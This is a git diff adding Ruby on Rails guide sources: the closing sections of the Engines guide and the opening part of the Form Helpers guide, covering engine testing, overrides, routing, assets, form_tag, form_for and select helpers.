+If you wish to use an initializer -- code that should run before the engine is loaded -- the place for it is the +config/initializers+ folder. This directory's functionality is explained in the "Initializers section":http://guides.rubyonrails.org/configuring.html#initializers of the Configuring guide, and works precisely the same way as the +config/initializers+ directory inside an application. Same goes for if you want to use a standard initializer.
+
+For locales, simply place the locale files in the +config/locales+ directory, just like you would in an application.
+
+h3. Testing an engine
+
+When an engine is generated there is a smaller dummy application created inside it at +test/dummy+. This application is used as a mounting point for the engine to make testing the engine extremely simple. You may extend this application by generating controllers, models or views from within the directory, and then use those to test your engine.
+
+The +test+ directory should be treated like a typical Rails testing environment, allowing for unit, functional and integration tests.
+
+h4. Functional tests
+
+A matter worth taking into consideration when writing functional tests is that the tests are going to be running on an application -- the +test/dummy+ application -- rather than your engine. This is due to the setup of the testing environment; an engine needs an application as a host for testing its main functionality, especially controllers. This means that if you were to make a typical +GET+ to a controller in a controller's functional test like this:
+
+<ruby>
+get :index
+</ruby>
+
+It may not function correctly. This is because the application doesn't know how to route these requests to the engine unless you explicitly tell it *how*. To do this, you must pass the +:use_route+ option (as a parameter) on these requests also:
+
+<ruby>
+get :index, :use_route => :blorgh
+</ruby>
+
+This tells the application that you still want to perform a +GET+ request to the +index+ action of this controller, just that you want to use the engine's route to get there, rather than the application.
+
+h3. Improving engine functionality
+
+This section explains how to add and/or override engine MVC functionality in the main Rails application.
+
+h4. Overriding Models and Controllers
+
+Engine model and controller classes can be extended by open classing them in the main Rails application (since model and controller classes are just Ruby classes that inherit Rails specific functionality). Open classing an Engine class redefines it for use in the main applicaiton. This is usually implemented by using the decorator pattern.
+
+For simple class modifications use Class#class_eval, and for complex class modifications, consider using ActiveSupport::Concern.  
+
+h5. Implementing Decorator Pattern Using Class#class_eval
+
+**Adding** Post#time_since_created,
+
+<ruby>
+# MyApp/app/decorators/models/blorgh/post_decorator.rb
+
+Blorgh::Post.class_eval do
+  def time_since_created
+    Time.current - created_at
+  end
+end
+</ruby>
+
+<ruby>
+# Blorgh/app/models/post.rb
+
+class Post < ActiveRecord::Base
+  :has_many :comments
+end
+</ruby>
+
+
+**Overriding** Post#summary
+
+<ruby>
+# MyApp/app/decorators/models/blorgh/post_decorator.rb
+
+Blorgh::Post.class_eval do
+  def summary
+    "#{title} - #{truncate(text)}"
+  end
+end
+</ruby>
+
+<ruby>
+# Blorgh/app/models/post.rb
+
+class Post < ActiveRecord::Base
+  :has_many :comments
+  def summary
+    "#{title}"
+  end
+end
+</ruby>
+
+
+h5. Implementing Decorator Pattern Using ActiveSupport::Concern
+
+Using Class#class_eval is great for simple adjustments, but for more complex class modifications, you might want to consider using ActiveSupport::Concern. ["**ActiveSupport::Concern**":http://edgeapi.rubyonrails.org/classes/ActiveSupport/Concern.html] helps manage load order of interlinked dependencies at run time allowing you to significantly modularize your code.
+
+**Adding** Post#time_since_created<br/>
+**Overriding** Post#summary
+
+<ruby>
+# MyApp/app/models/blorgh/post.rb
+
+class Blorgh::Post < ActiveRecord::Base
+  include Blorgh::Concerns::Models::Post
+
+  def time_since_created
+    Time.current - created_at
+  end
+
+  def summary
+    "#{title} - #{truncate(text)}"
+  end
+end
+</ruby>
+
+<ruby>
+# Blorgh/app/models/post.rb
+
+class Post < ActiveRecord::Base
+  include Blorgh::Concerns::Models::Post
+end
+</ruby>
+
+<ruby>
+# Blorgh/lib/concerns/models/post
+
+module Blorgh::Concerns::Models::Post
+  extend ActiveSupport::Concern
+
+  # 'included do' causes the included code to be evaluated in the
+  # conext where it is included (post.rb), rather than be 
+  # executed in the module's context (blorgh/concerns/models/post).
+  included do
+    attr_accessor :author_name
+    belongs_to :author, :class_name => "User"
+
+    before_save :set_author
+
+    private
+
+    def set_author
+      self.author = User.find_or_create_by_name(author_name)
+    end
+  end
+
+  def summary
+    "#{title}"
+  end
+
+  module ClassMethods
+    def some_class_method
+      'some class method string'
+    end
+  end
+end
+</ruby>
+
+h4. Overriding views
+
+When Rails looks for a view to render, it will first look in the +app/views+ directory of the application. If it cannot find the view there, then it will check in the +app/views+ directories of all engines which have this directory.
+
+In the +blorgh+ engine, there is a currently a file at +app/views/blorgh/posts/index.html.erb+. When the engine is asked to render the view for +Blorgh::PostsController+'s +index+ action, it will first see if it can find it at +app/views/blorgh/posts/index.html.erb+ within the application and then if it cannot it will look inside the engine.
+
+By overriding this view in the application, by simply creating a new file at +app/views/blorgh/posts/index.html.erb+, you can completely change what this view would normally output.
+
+Try this now by creating a new file at +app/views/blorgh/posts/index.html.erb+ and put this content in it:
+
+<erb>
+<h1>Posts</h1>
+<%= link_to "New Post", new_post_path %>
+<% @posts.each do |post| %>
+  <h2><%= post.title %></h2>
+  <small>By <%= post.author %></small>
+  <%= simple_format(post.text) %>
+  <hr>
+<% end %>
+</erb>
+
+h4. Routes
+
+Routes inside an engine are, by default, isolated from the application. This is done by the +isolate_namespace+ call inside the +Engine+ class. This essentially means that the application and its engines can have identically named routes, and that they will not clash.
+
+Routes inside an engine are drawn on the +Engine+ class within +config/routes.rb+, like this:
+
+<ruby>
+Blorgh::Engine.routes.draw do
+  resources :posts
+end
+</ruby>
+
+By having isolated routes such as this, if you wish to link to an area of an engine from within an application, you will need to use the engine's routing proxy method. Calls to normal routing methods such as +posts_path+ may end up going to undesired locations if both the application and the engine both have such a helper defined.
+
+For instance, the following example would go to the application's +posts_path+ if that template was rendered from the application, or the engine's +posts_path+ if it was rendered from the engine:
+
+<erb>
+<%= link_to "Blog posts", posts_path %>
+</erb>
+
+To make this route always use the engine's +posts_path+ routing helper method, we must call the method on the routing proxy method that shares the same name as the engine.
+
+<erb>
+<%= link_to "Blog posts", blorgh.posts_path %>
+</erb>
+
+If you wish to reference the application inside the engine in a similar way, use the +main_app+ helper:
+
+<erb>
+<%= link_to "Home", main_app.root_path %>
+</erb>
+
+If you were to use this inside an engine, it would *always* go to the application's root. If you were to leave off the +main_app+ "routing proxy" method call, it could potentially go to the engine's or application's root, depending on where it was called from.
+
+If a template is rendered from within an engine and it's attempting to use one of the application's routing helper methods, it may result in an undefined method call. If you encounter such an issue, ensure that you're not attempting to call the application's routing methods without the +main_app+ prefix from within the engine.
+
+h4. Assets
+
+Assets within an engine work in an identical way to a full application. Because the engine class inherits from +Rails::Engine+, the application will know to look up in the engine's +app/assets+ and +lib/assets+ directories for potential assets.
+
+Much like all the other components of an engine, the assets should also be namespaced. This means if you have an asset called +style.css+, it should be placed at +app/assets/stylesheets/[engine name]/style.css+, rather than +app/assets/stylesheets/style.css+. If this asset wasn't namespaced, then there is a possibility that the host application could have an asset named identically, in which case the application's asset would take precedence and the engine's one would be all but ignored.
+
+Imagine that you did have an asset located at +app/assets/stylesheets/blorgh/style.css+ To include this asset inside an application, just use +stylesheet_link_tag+ and reference the asset as if it were inside the engine:
+
+<erb>
+<%= stylesheet_link_tag "blorgh/style.css" %>
+</erb>
+
+You can also specify these assets as dependencies of other assets using the Asset Pipeline require statements in processed files:
+
+<plain>
+/*
+ *= require blorgh/style
+*/
+</plain>
+
+INFO. Remember that in order to use languages like Sass or CoffeeScript, you should add the relevant library to your engine's +.gemspec+.
+
+h4. Separate Assets & Precompiling
+
+There are some situations where your engine's assets not required by the host application. For example, say that you've created
+an admin functionality that only exists for your engine. In this case, the host application doesn't need to require +admin.css+
+or +admin.js+. Only the gem's admin layout needs these assets. It doesn't make sense for the host app to include +"blorg/admin.css"+ in it's stylesheets. In this situation, you should explicitly define these assets for precompilation.
+This tells sprockets to add you engine assets when +rake assets:precompile+ is ran.
+
+You can define assets for precompilation in +engine.rb+
+
+<ruby>
+initializer "blorgh.assets.precompile" do |app|
+  app.config.assets.precompile += %w(admin.css admin.js)
+end
+</ruby>
+
+For more information, read the "Asset Pipeline guide":http://guides.rubyonrails.org/asset_pipeline.html
+
+h4. Other gem dependencies
+
+Gem dependencies inside an engine should be specified inside the +.gemspec+ file
+that's at the root of the engine. The reason for this is because the engine may
+be installed as a gem. If dependencies were to be specified inside the +Gemfile+,
+these would not be recognised by a traditional gem install and so they would not
+be installed, causing the engine to malfunction.
+
+To specify a dependency that should be installed with the engine during a
+traditional +gem install+, specify it inside the +Gem::Specification+ block
+inside the +.gemspec+ file in the engine:
+
+<ruby>
+s.add_dependency "moo"
+</ruby>
+
+To specify a dependency that should only be installed as a development
+dependency of the application, specify it like this:
+
+<ruby>
+s.add_development_dependency "moo"
+</ruby>
+
+Both kinds of dependencies will be installed when +bundle install+ is run inside
+the application. The development dependencies for the gem will only be used when
+the tests for the engine are running.
+
+Note that if you want to immediately require dependencies when the engine is
+required, you should require them before engine's initialization. For example:
+
+<ruby>
+require 'other_engine/engine'
+require 'yet_another_engine/engine'
+
+module MyEngine
+  class Engine < ::Rails::Engine
+  end
+end
+</ruby>
\ No newline at end of file
diff --git a/guides/source/form_helpers.textile b/guides/source/form_helpers.textile
new file mode 100644
index 0000000000..58338ce54b
--- /dev/null
+++ b/guides/source/form_helpers.textile
@@ -0,0 +1,945 @@
+h2. Rails Form helpers
+
+Forms in web applications are an essential interface for user input. However, form markup can quickly become tedious to write and maintain because of form control naming and their numerous attributes. Rails deals away with these complexities by providing view helpers for generating form markup. However, since they have different use-cases, developers are required to know all the differences between similar helper methods before putting them to use.
+
+In this guide you will:
+
+* Create search forms and similar kind of generic forms not representing any specific model in your application
+* Make model-centric forms for creation and editing of specific database records
+* Generate select boxes from multiple types of data
+* Understand the date and time helpers Rails provides
+* Learn what makes a file upload form different
+* Learn some cases of building forms to external resources
+* Find out how to build complex forms
+
+endprologue.
+
+NOTE: This guide is not intended to be a complete documentation of available form helpers and their arguments. Please visit "the Rails API documentation":http://api.rubyonrails.org/ for a complete reference.
+
+
+h3. Dealing with Basic Forms
+
+The most basic form helper is +form_tag+.
+
+<erb>
+<%= form_tag do %>
+  Form contents
+<% end %>
+</erb>
+
+When called without arguments like this, it creates a +&lt;form&gt;+ tag which, when submitted, will POST to the current page. For instance, assuming the current page is +/home/index+, the generated HTML will look like this (some line breaks added for readability):
+
+<html>
+<form accept-charset="UTF-8" action="/home/index" method="post">
+  <div style="margin:0;padding:0">
+    <input name="utf8" type="hidden" value="&#x2713;" />
+    <input name="authenticity_token" type="hidden" value="f755bb0ed134b76c432144748a6d4b7a7ddf2b71" />
+  </div>
+  Form contents
+</form>
+</html>
+
+Now, you'll notice that the HTML contains something extra: a +div+ element with two hidden input elements inside. This div is important, because the form cannot be successfully submitted without it. The first input element with name +utf8+ enforces browsers to properly respect your form's character encoding and is generated for all forms whether their actions are "GET" or "POST". The second input element with name +authenticity_token+ is a security feature of Rails called *cross-site request forgery protection*, and form helpers generate it for every non-GET form (provided that this security feature is enabled). You can read more about this in the "Security Guide":./security.html#cross-site-request-forgery-csrf.
+
+NOTE: Throughout this guide, the +div+ with the hidden input elements will be excluded from code samples for brevity.
+
+h4. A Generic Search Form
+
+One of the most basic forms you see on the web is a search form. This form contains:
+
+# a form element with "GET" method,
+# a label for the input,
+# a text input element, and
+# a submit element.
+
+To create this form you will use +form_tag+, +label_tag+, +text_field_tag+, and +submit_tag+, respectively. Like this:
+
+<erb>
+<%= form_tag("/search", :method => "get") do %>
+  <%= label_tag(:q, "Search for:") %>
+  <%= text_field_tag(:q) %>
+  <%= submit_tag("Search") %>
+<% end %>
+</erb>
+
+This will generate the following HTML:
+
+<html>
+<form accept-charset="UTF-8" action="/search" method="get">
+  <label for="q">Search for:</label>
+  <input id="q" name="q" type="text" />
+  <input name="commit" type="submit" value="Search" />
+</form>
+</html>
+
+TIP: For every form input, an ID attribute is generated from its name ("q" in the example). These IDs can be very useful for CSS styling or manipulation of form controls with JavaScript.
+
+Besides +text_field_tag+ and +submit_tag+, there is a similar helper for _every_ form control in HTML.
+
+IMPORTANT: Always use "GET" as the method for search forms. This allows users to bookmark a specific search and get back to it. More generally Rails encourages you to use the right HTTP verb for an action.
+
+h4. Multiple Hashes in Form Helper Calls
+
+The +form_tag+ helper accepts 2 arguments: the path for the action and an options hash. This hash specifies the method of form submission and HTML options such as the form element's class.
+
+As with the +link_to+ helper, the path argument doesn't have to be given a string; it can be a hash of URL parameters recognizable by Rails' routing mechanism, which will turn the hash into a valid URL. However, since both arguments to +form_tag+ are hashes, you can easily run into a problem if you would like to specify both. For instance, let's say you write this:
+
+<ruby>
+form_tag(:controller => "people", :action => "search", :method => "get", :class => "nifty_form")
+# => '<form accept-charset="UTF-8" action="/people/search?method=get&class=nifty_form" method="post">'
+</ruby>
+
+Here, +method+ and +class+ are appended to the query string of the generated URL because even though you mean to write two hashes, you really only specified one. So you need to tell Ruby which is which by delimiting the first hash (or both) with curly brackets. This will generate the HTML you expect:
+
+<ruby>
+form_tag({:controller => "people", :action => "search"}, :method => "get", :class => "nifty_form")
+# => '<form accept-charset="UTF-8" action="/people/search" method="get" class="nifty_form">'
+</ruby>
+
+h4. Helpers for Generating Form Elements
+
+Rails provides a series of helpers for generating form elements such as checkboxes, text fields, and radio buttons. These basic helpers, with names ending in "_tag" (such as +text_field_tag+ and +check_box_tag+), generate just a single +&lt;input&gt;+ element. The first parameter to these is always the name of the input. When the form is submitted, the name will be passed along with the form data, and will make its way to the +params+ hash in the controller with the value entered by the user for that field. For example, if the form contains +<%= text_field_tag(:query) %>+, then you would be able to get the value of this field in the controller with +params[:query]+.
+
+When naming inputs, Rails uses certain conventions that make it possible to submit parameters with non-scalar values such as arrays or hashes, which will also be accessible in +params+. You can read more about them in "chapter 7 of this guide":#understanding-parameter-naming-conventions. For details on the precise usage of these helpers, please refer to the "API documentation":http://api.rubyonrails.org/classes/ActionView/Helpers/FormTagHelper.html.
+
+h5. Checkboxes
+
+Checkboxes are form controls that give the user a set of options they can enable or disable:
+
+<erb>
+<%= check_box_tag(:pet_dog) %>
+<%= label_tag(:pet_dog, "I own a dog") %>
+<%= check_box_tag(:pet_cat) %>
+<%= label_tag(:pet_cat, "I own a cat") %>
+</erb>
+
+This generates the following:
+
+<html>
+<input id="pet_dog" name="pet_dog" type="checkbox" value="1" />
+<label for="pet_dog">I own a dog</label>
+<input id="pet_cat" name="pet_cat" type="checkbox" value="1" />
+<label for="pet_cat">I own a cat</label>
+</html>
+
+The first parameter to +check_box_tag+, of course, is the name of the input. The second parameter, naturally, is the value of the input. This value will be included in the form data (and be present in +params+) when the checkbox is checked.
+
+h5. Radio Buttons
+
+Radio buttons, while similar to checkboxes, are controls that specify a set of options in which they are mutually exclusive (i.e., the user can only pick one):
+
+<erb>
+<%= radio_button_tag(:age, "child") %>
+<%= label_tag(:age_child, "I am younger than 21") %>
+<%= radio_button_tag(:age, "adult") %>
+<%= label_tag(:age_adult, "I'm over 21") %>
+</erb>
+
+Output:
+
+<html>
+<input id="age_child" name="age" type="radio" value="child" />
+<label for="age_child">I am younger than 21</label>
+<input id="age_adult" name="age" type="radio" value="adult" />
+<label for="age_adult">I'm over 21</label>
+</html>
+
+As with +check_box_tag+, the second parameter to +radio_button_tag+ is the value of the input. Because these two radio buttons share the same name (age) the user will only be able to select one, and +params[:age]+ will contain either "child" or "adult".
+
+NOTE: Always use labels for checkbox and radio buttons. They associate text with a specific option and make it easier for users to click the inputs by expanding the clickable region.
+
+h4. Other Helpers of Interest
+
+Other form controls worth mentioning are textareas, password fields, hidden fields, search fields, telephone fields, date fields, time fields, color fields, datetime fields, datetime-local fields, month fields, week fields, URL fields and email fields:
+
+<erb>
+<%= text_area_tag(:message, "Hi, nice site", :size => "24x6") %>
+<%= password_field_tag(:password) %>
+<%= hidden_field_tag(:parent_id, "5") %>
+<%= search_field(:user, :name) %>
+<%= telephone_field(:user, :phone) %>
+<%= date_field(:user, :born_on) %>
+<%= datetime_field(:user, :meeting_time) %>
+<%= datetime_local_field(:user, :graduation_day) %>
+<%= month_field(:user, :birthday_month) %>
+<%= week_field(:user, :birthday_week) %>
+<%= url_field(:user, :homepage) %>
+<%= email_field(:user, :address) %>
+<%= color_field(:user, :favorite_color) %>
+<%= time_field(:task, :started_at) %>
+</erb>
+
+Output:
+
+<html>
+<textarea id="message" name="message" cols="24" rows="6">Hi, nice site</textarea>
+<input id="password" name="password" type="password" />
+<input id="parent_id" name="parent_id" type="hidden" value="5" />
+<input id="user_name" name="user[name]" type="search" />
+<input id="user_phone" name="user[phone]" type="tel" />
+<input id="user_born_on" name="user[born_on]" type="date" />
+<input id="user_meeting_time" name="user[meeting_time]" type="datetime" />
+<input id="user_graduation_day" name="user[graduation_day]" type="datetime-local" />
+<input id="user_birthday_month" name="user[birthday_month]" type="month" />
+<input id="user_birthday_week" name="user[birthday_week]" type="week" />
+<input id="user_homepage" name="user[homepage]" type="url" />
+<input id="user_address" name="user[address]" type="email" />
+<input id="user_favorite_color" name="user[favorite_color]" type="color" value="#000000" />
+<input id="task_started_at" name="task[started_at]" type="time" />
+</html>
+
+Hidden inputs are not shown to the user but instead hold data like any textual input. Values inside them can be changed with JavaScript.
+
+IMPORTANT: The search, telephone, date, time, color, datetime, datetime-local, month, week, URL, and email inputs are HTML5 controls. If you require your app to have a consistent experience in older browsers, you will need an HTML5 polyfill (provided by CSS and/or JavaScript). There is definitely "no shortage of solutions for this":https://github.com/Modernizr/Modernizr/wiki/HTML5-Cross-Browser-Polyfills, although a couple of popular tools at the moment are "Modernizr":http://www.modernizr.com/ and "yepnope":http://yepnopejs.com/, which provide a simple way to add functionality based on the presence of detected HTML5 features.
+
+TIP: If you're using password input fields (for any purpose), you might want to configure your application to prevent those parameters from being logged. You can learn about this in the "Security Guide":security.html#logging.
+
+h3. Dealing with Model Objects
+
+h4. Model Object Helpers
+
+A particularly common task for a form is editing or creating a model object. While the +*_tag+ helpers can certainly be used for this task they are somewhat verbose as for each tag you would have to ensure the correct parameter name is used and set the default value of the input appropriately. Rails provides helpers tailored to this task. These helpers lack the <notextile>_tag</notextile> suffix, for example +text_field+, +text_area+.
+
+For these helpers the first argument is the name of an instance variable and the second is the name of a method (usually an attribute) to call on that object. Rails will set the value of the input control to the return value of that method for the object and set an appropriate input name. If your controller has defined +@person+ and that person's name is Henry then a form containing:
+
+<erb>
+<%= text_field(:person, :name) %>
+</erb>
+
+will produce output similar to
+
+<erb>
+<input id="person_name" name="person[name]" type="text" value="Henry"/>
+</erb>
+
+Upon form submission the value entered by the user will be stored in +params[:person][:name]+. The +params[:person]+ hash is suitable for passing to +Person.new+ or, if +@person+ is an instance of Person, +@person.update_attributes+. While the name of an attribute is the most common second parameter to these helpers this is not compulsory. In the example above, as long as person objects have a +name+ and a +name=+ method Rails will be happy.
+
+WARNING: You must pass the name of an instance variable, i.e. +:person+ or +"person"+, not an actual instance of your model object.
+
+Rails provides helpers for displaying the validation errors associated with a model object. These are covered in detail by the "Active Record Validations and Callbacks":./active_record_validations_callbacks.html#displaying-validation-errors-in-the-view guide.
+
+h4. Binding a Form to an Object
+
+While this is an increase in comfort it is far from perfect. If Person has many attributes to edit then we would be repeating the name of the edited object many times. What we want to do is somehow bind a form to a model object, which is exactly what +form_for+ does.
+
+Assume we have a controller for dealing with articles +app/controllers/articles_controller.rb+:
+
+<ruby>
+def new
+  @article = Article.new
+end
+</ruby>
+
+The corresponding view +app/views/articles/new.html.erb+ using +form_for+ looks like this:
+
+<erb>
+<%= form_for @article, :url => { :action => "create" }, :html => {:class => "nifty_form"} do |f| %>
+  <%= f.text_field :title %>
+  <%= f.text_area :body, :size => "60x12" %>
+  <%= f.submit "Create" %>
+<% end %>
+</erb>
+
+There are a few things to note here:
+
+# +@article+ is the actual object being edited.
+# There is a single hash of options. Routing options are passed in the +:url+ hash, HTML options are passed in the +:html+ hash. Also you can provide a +:namespace+ option for your form to ensure uniqueness of id attributes on form elements. The namespace attribute will be prefixed with underscore on the generated HTML id.
+# The +form_for+ method yields a *form builder* object (the +f+ variable).
+# Methods to create form controls are called *on* the form builder object +f+
+
+The resulting HTML is:
+
+<html>
+<form accept-charset="UTF-8" action="/articles/create" method="post" class="nifty_form">
+  <input id="article_title" name="article[title]" type="text" />
+  <textarea id="article_body" name="article[body]" cols="60" rows="12"></textarea>
+  <input name="commit" type="submit" value="Create" />
+</form>
+</html>
+
+The name passed to +form_for+ controls the key used in +params+ to access the form's values. Here the name is +article+ and so all the inputs have names of the form +article[<em>attribute_name</em>]+. Accordingly, in the +create+ action +params[:article]+ will be a hash with keys +:title+ and +:body+. You can read more about the significance of input names in the parameter_names section.
+
+The helper methods called on the form builder are identical to the model object helpers except that it is not necessary to specify which object is being edited since this is already managed by the form builder.
+
+You can create a similar binding without actually creating +&lt;form&gt;+ tags with the +fields_for+ helper. This is useful for editing additional model objects with the same form. For example if you had a Person model with an associated ContactDetail model you could create a form for creating both like so:
+
+<erb>
+<%= form_for @person, :url => { :action => "create" } do |person_form| %>
+  <%= person_form.text_field :name %>
+  <%= fields_for @person.contact_detail do |contact_details_form| %>
+    <%= contact_details_form.text_field :phone_number %>
+  <% end %>
+<% end %>
+</erb>
+
+which produces the following output:
+
+<html>
+<form accept-charset="UTF-8" action="/people/create" class="new_person" id="new_person" method="post">
+  <input id="person_name" name="person[name]" type="text" />
+  <input id="contact_detail_phone_number" name="contact_detail[phone_number]" type="text" />
+</form>
+</html>
+
+The object yielded by +fields_for+ is a form builder like the one yielded by +form_for+ (in fact +form_for+ calls +fields_for+ internally).
+
+h4. Relying on Record Identification
+
+The Article model is directly available to users of the application, so -- following the best practices for developing with Rails -- you should declare it *a resource*:
+
+<ruby>
+resources :articles
+</ruby>
+
+TIP: Declaring a resource has a number of side-affects. See "Rails Routing From the Outside In":routing.html#resource-routing-the-rails-default for more information on setting up and using resources.
+
+When dealing with RESTful resources, calls to +form_for+ can get significantly easier if you rely on *record identification*. In short, you can just pass the model instance and have Rails figure out model name and the rest:
+
+<ruby>
+## Creating a new article
+# long-style:
+form_for(@article, :url => articles_path)
+# same thing, short-style (record identification gets used):
+form_for(@article)
+
+## Editing an existing article
+# long-style:
+form_for(@article, :url => article_path(@article), :html => { :method => "patch" })
+# short-style:
+form_for(@article)
+</ruby>
+
+Notice how the short-style +form_for+ invocation is conveniently the same, regardless of the record being new or existing. Record identification is smart enough to figure out if the record is new by asking +record.new_record?+. It also selects the correct path to submit to and the name based on the class of the object.
+
+Rails will also automatically set the +class+ and +id+ of the form appropriately: a form creating an article would have +id+ and +class+ +new_article+. If you were editing the article with id 23, the +class+ would be set to +edit_article+ and the id to +edit_article_23+. These attributes will be omitted for brevity in the rest of this guide.
+
+WARNING: When you're using STI (single-table inheritance) with your models, you can't rely on record identification on a subclass if only their parent class is declared a resource. You will have to specify the model name, +:url+, and +:method+ explicitly.
+
+h5. Dealing with Namespaces
+
+If you have created namespaced routes, +form_for+ has a nifty shorthand for that too. If your application has an admin namespace then
+
+<ruby>
+form_for [:admin, @article]
+</ruby>
+
+will create a form that submits to the articles controller inside the admin namespace (submitting to +admin_article_path(@article)+ in the case of an update). If you have several levels of namespacing then the syntax is similar:
+
+<ruby>
+form_for [:admin, :management, @article]
+</ruby>
+
+For more information on Rails' routing system and the associated conventions, please see the "routing guide":routing.html.
+
+
+h4. How do forms with PATCH, PUT, or DELETE methods work?
+
+The Rails framework encourages RESTful design of your applications, which means you'll be making a lot of "PATCH" and "DELETE" requests (besides "GET" and "POST"). However, most browsers _don't support_ methods other than "GET" and "POST" when it comes to submitting forms.
+
+Rails works around this issue by emulating other methods over POST with a hidden input named +"_method"+, which is set to reflect the desired method:
+
+<ruby>
+form_tag(search_path, :method => "patch")
+</ruby>
+
+output:
+
+<html>
+<form accept-charset="UTF-8" action="/search" method="post">
+  <div style="margin:0;padding:0">
+    <input name="_method" type="hidden" value="patch" />
+    <input name="utf8" type="hidden" value="&#x2713;" />
+    <input name="authenticity_token" type="hidden" value="f755bb0ed134b76c432144748a6d4b7a7ddf2b71" />
+  </div>
+  ...
+</html>
+
+When parsing POSTed data, Rails will take into account the special +_method+ parameter and acts as if the HTTP method was the one specified inside it ("PATCH" in this example).
+
+h3. Making Select Boxes with Ease
+
+Select boxes in HTML require a significant amount of markup (one +OPTION+ element for each option to choose from), therefore it makes the most sense for them to be dynamically generated.
+
+Here is what the markup might look like:
+
+<html>
+<select name="city_id" id="city_id">
+  <option value="1">Lisbon</option>
+  <option value="2">Madrid</option>
+  ...
+  <option value="12">Berlin</option>
+</select>
+</html>
+
+Here you have a list of cities whose names are presented to the user. Internally the application only wants to handle their IDs so they are used as the options' value attribute. Let's see how Rails can help out here.
+
+h4. The Select and Option Tags
+
+The most generic helper is +select_tag+, which -- as the name implies -- simply generates the +SELECT+ tag that encapsulates an options string:
+
+<erb>
+<%= select_tag(:city_id, '<option value="1">Lisbon</option>...') %>
+</erb>
+
+This is a start, but it doesn't dynamically create the option tags. You can generate option tags with the +options_for_select+ helper:
+
+<erb>
+<%= options_for_select([['Lisbon', 1], ['Madrid', 2], ...]) %>
+
+output:
+
+<option value="1">Lisbon</option>
+<option value="2">Madrid</option>
+...
+</erb>
+
+The first argument to +options_for_select+ is a nested array where each element has two elements: option text (city name) and option value (city id). The option value is what will be submitted to your controller. Often this will be the id of a corresponding database object but this does not have to be the case.
+
+Knowing this, you can combine +select_tag+ and +options_for_select+ to achieve the desired, complete markup:
+
+<erb>
+<%= select_tag(:city_id, options_for_select(...)) %>
+</erb>
+
++options_for_select+ allows you to pre-select an option by passing its value.
+
+<erb>
+<%= options_for_select([['Lisbon', 1], ['Madrid', 2], ...], 2) %>
+
+output:
+
+<option value="1">Lisbon</option>
+<option value="2" selected="selected">Madrid</option>
+...
+</erb>
+
+Whenever Rails sees that the internal value of an option being generated matches this value, it will add the +selected+ attribute to that option.
+
+TIP: The second argument to +options_for_select+ must be exactly equal to the desired internal value. In particular if the value is the integer 2 you cannot pass "2" to +options_for_select+ -- you must pass 2. Be aware of values extracted from the +params+ hash as they are all strings.
+
+WARNING: when +:inlude_blank+ or +:prompt:+ are not present, +:include_blank+ is forced true if the select attribute +required+ is true, display +size+ is one and +multiple+ is not true.
+
+You can add arbitrary attributes to the options using hashes:
+
+<erb>
+<%= options_for_select([['Lisbon', 1, :'data-size' => '2.8 million'], ['Madrid', 2, :'data-size' => '3.2 million']], 2) %>
+
+output:
+
+<option value="1" data-size="2.8 million">Lisbon</option>
+<option value="2" selected="selected" data-size="3.2 million">Madrid</option>
+...
+</erb>
+
+h4. Select Boxes for Dealing with Models
+
+In most cases form controls will be tied to a specific database model and as you might expect Rails provides helpers tailored for that purpose. Consistent with other form helpers, when dealing with models you drop the +_tag+ suffix from +select_tag+:
+
+<ruby>
+# controller:
+@person = Person.new(:city_id => 2)
+</ruby>
+
+<erb>
+# view:
+<%= select(:person, :city_id, [['Lisbon', 1], ['Madrid', 2], ...]) %>
+</erb>
+
+Notice that the third parameter, the options array, is the same kind of argument you pass to +options_for_select+. One advantage here is that you don't have to worry about pre-selecting the correct city if the user already has one -- Rails will do this for you by reading from the +@person.city_id+ attribute.
+
+As with other helpers, if you were to use the +select+ helper on a form builder scoped to the +@person+ object, the syntax would be:
+
+<erb>
+# select on a form builder
+<%= f.select(:city_id, ...) %>
+</erb>
+
+WARNING: If you are using +select+ (or similar helpers such as +collection_select+, +select_tag+) to set a +belongs_to+ association you must pass the name of the foreign key (in the example above +city_id+), not the name of association itself. If you specify +city+ instead of +city_id+ Active Record will raise an error along the lines of <tt> ActiveRecord::AssociationTypeMismatch: City(#17815740) expected, got String(#1138750) </tt> when you pass the +params+ hash to +Person.new+ or +update_attributes+. Another way of looking at this is that form helpers only edit attributes. You should also be aware of the potential security ramifications of allowing users to edit foreign keys directly. You may wish to consider the use of +attr_protected+ and +attr_accessible+. For further details on this, see the "Ruby On Rails Security Guide":security.html#mass-assignment.
+
+h4. Option Tags from a Collection of Arbitrary Objects
+
+Generating options tags with +options_for_select+ requires that you create an array containing the text and value for each option. But what if you had a City model (perhaps an Active Record one) and you wanted to generate option tags from a collection of those objects? One solution would be to make a nested array by iterating over them:
+
+<erb>
+<% cities_array = City.all.map { |city| [city.name, city.id] } %>
+<%= options_for_select(cities_array) %>
+</erb>
+
+This is a perfectly valid solution, but Rails provides a less verbose alternative: +options_from_collection_for_select+. This helper expects a collection of arbitrary objects and two additional arguments: the names of the methods to read the option *value* and *text* from, respectively:
+
+<erb>
+<%= options_from_collection_for_select(City.all, :id, :name) %>
+</erb>
+
+As the name implies, this only generates option tags. To generate a working select box you would need to use it in conjunction with +select_tag+, just as you would with +options_for_select+. When working with model objects, just as +select+ combines +select_tag+ and +options_for_select+, +collection_select+ combines +select_tag+ with +options_from_collection_for_select+.
+
+<erb>
+<%= collection_select(:person, :city_id, City.all, :id, :name) %>
+</erb>
+
+To recap, +options_from_collection_for_select+ is to +collection_select+ what +options_for_select+ is to +select+.
+
+NOTE: Pairs passed to +options_for_select+ should have the name first and the id second, however with +options_from_collection_for_select+ the first argument is the value method and the second the text method.
+
+h4. Time Zone and Country Select
+
+To leverage time zone support in Rails, you have to ask your users what time zone they are in. Doing so would require generating select options from a list of pre-defined TimeZone objects using +collection_select+, but you can simply use the +time_zone_select+ helper that already wraps this:
+
+<erb>
+<%= time_zone_select(:person, :time_zone) %>
+</erb>
+
+There is also +time_zone_options_for_select+ helper for a more manual (therefore more customizable) way of doing this. Read the API documentation to learn about the possible arguments for these two methods.
+
+Rails _used_ to have a +country_select+ helper for choosing countries, but this has been extracted to the "country_select plugin":https://github.com/chrislerum/country_select. When using this, be aware that the exclusion or inclusion of certain names from the list can be somewhat controversial (and was the reason this functionality was extracted from Rails).
+
+h3. Using Date and Time Form Helpers
+
+You can choose not to use the form helpers generating HTML5 date and time input fields and use the alternative date and time helpers. These date and time helpers differ from all the other form helpers in two important respects:
+
+# Dates and times are not representable by a single input element. Instead you have several, one for each component (year, month, day etc.) and so there is no single value in your +params+ hash with your date or time.
